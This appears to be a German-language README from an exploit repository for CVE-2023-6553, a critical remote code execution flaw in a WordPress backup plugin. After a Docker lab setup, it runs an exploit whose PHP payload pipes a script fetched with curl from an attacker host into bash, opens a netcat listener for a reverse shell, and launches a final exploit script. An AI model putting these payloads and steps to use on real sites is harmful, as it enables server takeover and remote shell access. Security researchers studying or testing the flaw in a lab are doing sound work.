harshit-mashru/cve-2023-6553Exploit-Entwicklung für CVE-2023-6553 im Backup-Plugin von WordPress
Exploit-Entwicklung für CVE-2023-6553 im Backup-Plugin für Wordpress
Hierbei handelt es sich um eine kritische CVE mit einem CVSS-Score von 9.8
Die Schwachstelle ermöglicht es Angreifern, Befehle an den Server zu senden, der die verwundbare Version des Plugins ausführt.
Verwundbare Version Backup <= 1.3.7
Klone das Repository
Führe den folgenden Befehl aus, um die Docker-Container einzurichten
docker-compose up -d
Du solltest 2 Docker-Container sehen
http://localhost:8000/
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
python3 -m http.server
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
HTTP Response Body: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>
Das liegt daran, dass nach den Filterkonvertierungen die Größe des Headers das vom Server erlaubte Limit überschreitet.
nc -nlvp 8080
und führe nun den Befehl aus, um das verwundbare Plugin auszunutzen
python3 final_exploit.py